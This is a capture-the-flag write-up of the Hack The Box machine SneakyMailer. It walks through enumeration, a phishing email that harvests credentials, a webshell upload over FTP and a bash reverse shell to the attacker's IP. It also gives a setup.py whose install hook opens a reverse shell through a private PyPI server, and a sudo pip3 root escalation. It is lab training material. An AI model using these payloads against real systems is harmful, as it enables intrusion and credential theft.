Hack The Box - SneakyMailer
Introduction
SneakyMailer is a medium rated box. As the name suggest, the box has something to do with emails.
So let’s just dive into the box and start enumerating it.
Enumeration
Nmap Scan
For this task I use the nmap automator, here are the results of the full scan:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
143/tcp open imap
993/tcp open imaps
8080/tcp open http-proxy
On those open ports, the automator will perform a script scan
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION OK CHILDREN SORT completed STARTTLS NAMESPACE ACL QUOTA
THREAD=ORDEREDSUBJECT CAPABILITY THREAD=REFERENCES IMAP4rev1 UTF8=ACCEPTA0001
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail
Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION OK CHILDREN SORT completed AUTH=PLAIN NAMESPACE ACL
QUOTA THREAD=ORDEREDSUBJECT CAPABILITY THREAD=REFERENCES IMAP4rev1 UTF8=ACCEPTA0001
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail
Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
There are 7 open TCP ports, but no UDP ports are open.
Service Enumeration
Port 21: FTP
I could not access the FTP server as the anonymous user:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:user): anonymous
530 Permission denied.
Login failed.
ftp> exit
221 Goodbye.
Port 80: Web
When visiting the web page, I get redirected to http://sneakycorp.htb/. I add the domain to the hosts file and start the scans again. Here are the gobuster scans of the site:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sneakycorp.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,log,txt
[+] Timeout: 10s
===============================================================
2021/09/23 08:56:33 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 13543]
/img (Status: 301) [Size: 185] [--> http://sneakycorp.htb/img/]
/css (Status: 301) [Size: 185] [--> http://sneakycorp.htb/css/]
/team.php (Status: 200) [Size: 26518]
/js (Status: 301) [Size: 185] [--> http://sneakycorp.htb/js/]
/vendor (Status: 301) [Size: 185] [--> http://sneakycorp.htb/vendor/]
/pypi (Status: 301) [Size: 185] [--> http://sneakycorp.htb/pypi/]
On the team.php page, there are a lot of email addresses. I could check which one works on the email server, but I leave that for later if I’m stuck. The pypi directory returns a 401 (access denied), but I can still scan it. The same for the directory vendor. Here are the results for pypi:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ gobuster dir -u http://sneakycorp.htb/pypi -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-pypi.txt -x php,html,log,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sneakycorp.htb/pypi
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,log,txt
[+] Timeout: 10s
===============================================================
2021/09/23 10:31:44 Starting gobuster in directory enumeration mode
===============================================================
/register.php (Status: 200) [Size: 3115]
I visit register.php, it shows me an account register page. Let’s try to create an account:
After submitting the form, it just reloads the page. I noticed in the source that there is no action defined for the form, so this is a rabbit hole. The scans did not find anything, so I started a virtual host scan on all the domains found, and I got the following results:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ gobuster vhost -u http://sneakycorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -o gobuster-host.txt -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sneakycorp.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/09/23 10:45:29 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
The dev subdomain points to sneakycorp.htb but with a small addition: On the dashboard, you can see the register page which is located in PyPi. I think I’m finished enumerating this port, so I just downlaod all the email addresses into a file using curl:
curl -s http://dev.sneakycorp.htb/team.php | grep '@' | cut -d'>' -f2 | cut -d'<' -f1 > emails
Port 8080: Web
On this port runs another web server. But this does not have any subdomains or hidden directories. Just the page shown in the image below:
Port 25, 143 & 993: Email
The sneakycorp.htb website shows us that the POP3 and SMTP project is finished:
So they should work fine. I can now use a tool called swaks to send some phishing emails (maybe there is a cronjob running to simulate real users who clicks on fishing email links):
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.16.6/" --server sneakymailer.htb
=== Trying sneakymailer.htb:25...
=== Connected to sneakymailer.htb.
<- 220 debian ESMTP Postfix (Debian/GNU)
-> EHLO KaliVM
<- 250-debian
<- 250-PIPELINING
<- 250-SIZE 10240000
<- 250-VRFY
<- 250-ETRN
<- 250-STARTTLS
<- 250-ENHANCEDSTATUSCODES
<- 250-8BITMIME
<- 250-DSN
<- 250-SMTPUTF8
<- 250 CHUNKING
-> MAIL FROM:<test@sneakymailer.htb>
<- 250 2.1.0 Ok
-> RCPT TO:<tigernixon@sneakymailer.htb>
<- 250 2.1.5 Ok
---snip---
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 23 Sep 2021 11:31:25 +0200
-> To: tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,ashtoncox@sneakymailer.htb,cedrickelly@sneakymailer.htb,airisatou@sneakymailer.htb,briellewilliamson@sneakymailer.htb,herrodchandler@sneakymailer.htb,rhonadavidson@sneakymailer.htb,colleenhurst@sneakymailer.htb,sonyafrost@sneakymailer.htb,jenagaines@sneakymailer.htb,quinnflynn@sneakymailer.htb,chardemarshall@sneakymailer.htb,haleykennedy@sneakymailer.htb,tatyanafitzpatrick@sneakymailer.htb,michaelsilva@sneakymailer.htb,paulbyrd@sneakymailer.htb,glorialittle@sneakymailer.htb,bradleygreer@sneakymailer.htb,dairios@sneakymailer.htb,jenettecaldwell@sneakymailer.htb,yuriberry@sneakymailer.htb,caesarvance@sneakymailer.htb,doriswilder@sneakymailer.htb,angelicaramos@sneakymailer.htb,gavinjoyce@sneakymailer.htb,jenniferchang@sneakymailer.htb,brendenwagner@sneakymailer.htb,fionagreen@sneakymailer.htb,shouitou@sneakymailer.htb,michellehouse@sneakymailer.htb,sukiburks@sneakymailer.htb,prescottbartlett@sneakymailer.htb,gavincortez@sneakymailer.htb,martenamccray@sneakymailer.htb,unitybutler@sneakymailer.htb,howardhatfield@sneakymailer.htb,hopefuentes@sneakymailer.htb,vivianharrell@sneakymailer.htb,timothymooney@sneakymailer.htb,jacksonbradshaw@sneakymailer.htb,olivialiang@sneakymailer.htb,brunonash@sneakymailer.htb,sakurayamamoto@sneakymailer.htb,thorwalton@sneakymailer.htb,finncamacho@sneakymailer.htb,sergebaldwin@sneakymailer.htb,zenaidafrank@sneakymailer.htb,zoritaserrano@sneakymailer.htb,jenniferacosta@sneakymailer.htb,carastevens@sneakymailer.htb,hermionebutler@sneakymailer.htb,laelgreer@sneakymailer.htb,jonasalexander@sneakymailer.htb,shaddecker@sneakymailer.htb,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb,
-> From: test@sneakymailer.htb
-> Subject: test
-> Message-Id: <20210923113125.048831@KaliVM>
-> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
->
-> please click here http://10.10.16.6/
->
->
-> .
<- 250 2.0.0 Ok: queued as EB70624667
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.
I just sent an email with a link to myself. I opened up a netcat listener on port 80 to catch all requests (and because it shows more details than the simple http python web server):
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.197] 40254
POST / HTTP/1.1
Host: 10.10.16.6
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
This is a strange post request, I was waiting for a simple get request, but it is posting the credentials for paulbyrd@sneakymailer.htb: ^(#J@SkFv2[%KhIxKk(Ju
hqcHl<:Ht`. So I can start exploiting the system.
Exploitation
With these credentials, I should be able to log in to imap as user paulbyrd. To start an IMAP command, you normally use A0001, but it could be anything. I’m glad that it worked here with A0001:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ nc sneakymailer.htb 143
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
A0001 login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
A0001 OK LOGIN Ok.
To list the mailboxes, IMAP uses the LIST command:
A0001 LIST "" "*"
* LIST (\Marked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
A0001 OK LIST completed
I can start reading mails by selecting a mailbox:
A0001 SELECT INBOX
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
A0001 OK [READ-WRITE] Ok
But it is empty, so I try every mailbox:
A0001 SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
A0001 OK [READ-WRITE] Ok
In “INBOX.Sent Items” 2 mails exists. I can read them by using the FETCH
command:
A0001 FETCH 1 BODY.PEEK[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
.MsoChpDefault
{mso-style-type:export-only;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
{page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p> </o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
A0001 OK FETCH completed.
The mail gives me credentials for a user: developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
. You could also read the emails with an email client like evolution (sudo apt install evolution
). The second mail isn’t that helpful at the moment:
A0001 FETCH 2 BODY.PEEK[]
* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
A0001 OK FETCH completed.
I tried to access SSH, but that did not work. I remembered that there is an FTP server running on the machine:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:user): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 2020 dev
226 Directory send OK.
ftp> ls dev
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 2020 css
drwxr-xr-x 2 0 0 4096 May 26 2020 img
-rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php
drwxr-xr-x 3 0 0 4096 May 26 2020 js
drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
drwxr-xr-x 4 0 0 4096 May 26 2020 scss
-rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
226 Directory send OK.
That worked, but it gets better than that. I have access to the web server. So I can place a reverse shell:
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5488 bytes sent in 0.00 secs (20.4444 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 2020 css
drwxr-xr-x 2 0 0 4096 May 26 2020 img
-rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php
drwxr-xr-x 3 0 0 4096 May 26 2020 js
drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
drwxr-xr-x 4 0 0 4096 May 26 2020 scss
-rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
226 Directory send OK.
The reverse shell did not correctly work, so I uploaded a webshell first:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ curl http://dev.sneakycorp.htb/cmd.php --data-urlencode "cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
It get’s deleted very fast, so I only have little time to execute commands. But I can try to get a reverse shell:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ curl http://dev.sneakycorp.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'"
Now, look at the netcat listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.197] 57148
bash: cannot set terminal process group (728): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ which python
which python
/usr/bin/python
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ python -c 'import pty;pty.spawn("/bin/bash")'
</dev$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ export TERM=xterm
export TERM=xterm
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ^C
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
And a shell spawned. It’s time to escalate my privileges.
Privilege Escalation
www-data → low
I run LinPEAS and found this password hash:
╔══════════╣ Analyzing Htpasswd Files (limit 70)
-rw-r--r-- 1 root root 43 May 15 2020 /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
I can crack that hash with hashcat on my local machine:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ hashcat -m 1600 pypi-hash /usr/share/wordlists/rockyou.txt
---snip---
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
There is the password soufianeelhaoui
. I need to find where PyPI is running. It might run on the nginx server:
www-data@sneakymailer:/etc/nginx/sites-enabled$ ls
pypi.sneakycorp.htb sneakycorp.htb
Let’s check out pypi.sneakycorp.htb:
server {
listen 0.0.0.0:8080 default_server;
listen [::]:8080 default_server;
server_name _;
}
server {
listen 0.0.0.0:8080;
listen [::]:8080;
server_name pypi.sneakycorp.htb;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
The server is running on the same homepage as the file name suggests it. I add it to the hosts file and visit the webpage (http://pypi.sneakycorp.htb:8080/):
You can exploit this system by uploading packages to the page. Here is an example (you need some additional files in order to make this work, but I wanted to mention it here):
GitHub - mschwager/0wned: Code execution via Python package installation.
I need to create the following structure to exploit the server (The files can be empty):
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ tree revshell
revshell
├── README.md
├── revshell
│ └── __init__.py
├── setup.cfg
└── setup.py
1 directory, 4 files
Now, edit setup.py and insert the following code:
import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install
class Exploit(install):
def run(self):
RHOST = '10.10.16.6'
RPORT = 443
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
for i in range(3):
os.dup2(s.fileno(), i)
p = subprocess.call(["/bin/sh","-i"])
setup(name='revshell',
version='0.0.1',
description='Reverse Shell',
author='gian',
author_email='gian',
url='http://sneakycopy.htb',
license='MIT',
zip_safe=False,
cmdclass={'install': Exploit})
It’s time to create the packet with sdist:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer/revshell]
└─$ python3 setup.py sdist
running sdist
running egg_info
creating revshell.egg-info
writing revshell.egg-info/PKG-INFO
writing dependency_links to revshell.egg-info/dependency_links.txt
writing top-level names to revshell.egg-info/top_level.txt
writing manifest file 'revshell.egg-info/SOURCES.txt'
reading manifest file 'revshell.egg-info/SOURCES.txt'
writing manifest file 'revshell.egg-info/SOURCES.txt'
running check
creating revshell-0.0.1
creating revshell-0.0.1/revshell.egg-info
copying files to revshell-0.0.1...
copying README.md -> revshell-0.0.1
copying setup.cfg -> revshell-0.0.1
copying setup.py -> revshell-0.0.1
copying revshell.egg-info/PKG-INFO -> revshell-0.0.1/revshell.egg-info
copying revshell.egg-info/SOURCES.txt -> revshell-0.0.1/revshell.egg-info
copying revshell.egg-info/dependency_links.txt -> revshell-0.0.1/revshell.egg-info
copying revshell.egg-info/not-zip-safe -> revshell-0.0.1/revshell.egg-info
copying revshell.egg-info/top_level.txt -> revshell-0.0.1/revshell.egg-info
Writing revshell-0.0.1/setup.cfg
Creating tar archive
removing 'revshell-0.0.1' (and everything under it)
A /dist
directory got created:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer/revshell]
└─$ ls -l dist
total 4
-rw-r--r-- 1 user user 1103 Sep 23 14:53 revshell-0.0.1.tar.gz
To package for a remote host, you need to create an additional file inside of your home directory:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer/revshell]
└─$ cat ~/.pypirc
[distutils]
index-servers =
sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
Now, you must create the package and upload it in the one command (else it will not work):
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer/revshell]
└─$ python setup.py sdist upload -r sneaky
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option:
'zip_safe' warnings.warn(msg)
running sdist
running check
warning: sdist: manifest template 'MANIFEST.in' does not exist (using default file list)
warning: sdist: standard file not found: should have one of README, README.txt
writing manifest file 'MANIFEST'
creating revshell-0.0.1
making hard links in revshell-0.0.1...
hard linking setup.cfg -> revshell-0.0.1
hard linking setup.py -> revshell-0.0.1
Creating tar archive
removing 'revshell-0.0.1' (and everything under it)
running upload
Submitting dist/revshell-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
That was fast, I could not even see the package appearing on the page. Look at the netcat listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.197] 54074
$ python -c 'import pty;pty.spawn("/bin/bash")'
low@sneakymailer:/$ export TERM=xterm
export TERM=xterm
low@sneakymailer:/$ ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/sneakymailer]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
low@sneakymailer:/$ id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),
44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low@sneakymailer:/$ ^C
There is the shell as user low.
User Flag
It’s time to get that flag:
low@sneakymailer:~$ cat user.txt
3d**************************7d3a
low → root
The first thing I always try is to check if the user can execute anything as root:
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
I can execute pip as sudo, that is perfect. A quick look at GTFO bin shows me a way to exploit this:
[pip | GTFOBins](https://gtfobins.github.io/gtfobins/pip/#sudo) |
So let’s exploit this the way GTFOBins shows me:
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.8nIkUcTw9y
# python -c 'import pty;pty.spawn("/bin/bash")'
root@sneakymailer:/tmp/pip-req-build-g0n60hpp# whoami
root
And there is the root shell.
Root Flag
Time to get the root flag:
root@sneakymailer:/# cd root
root@sneakymailer:~# cat root.txt
4d**************************50e6
Conclusions
This box was a very good training for the OSCP exam. I learned a lot. To get initial access on the box was kinda tricky, but the privesc to user low was too hard. I had to get a quick hint from a write up. The privesc from low to root was pretty easy and straight forward. Here is the write up I used to get a hint for the privesc: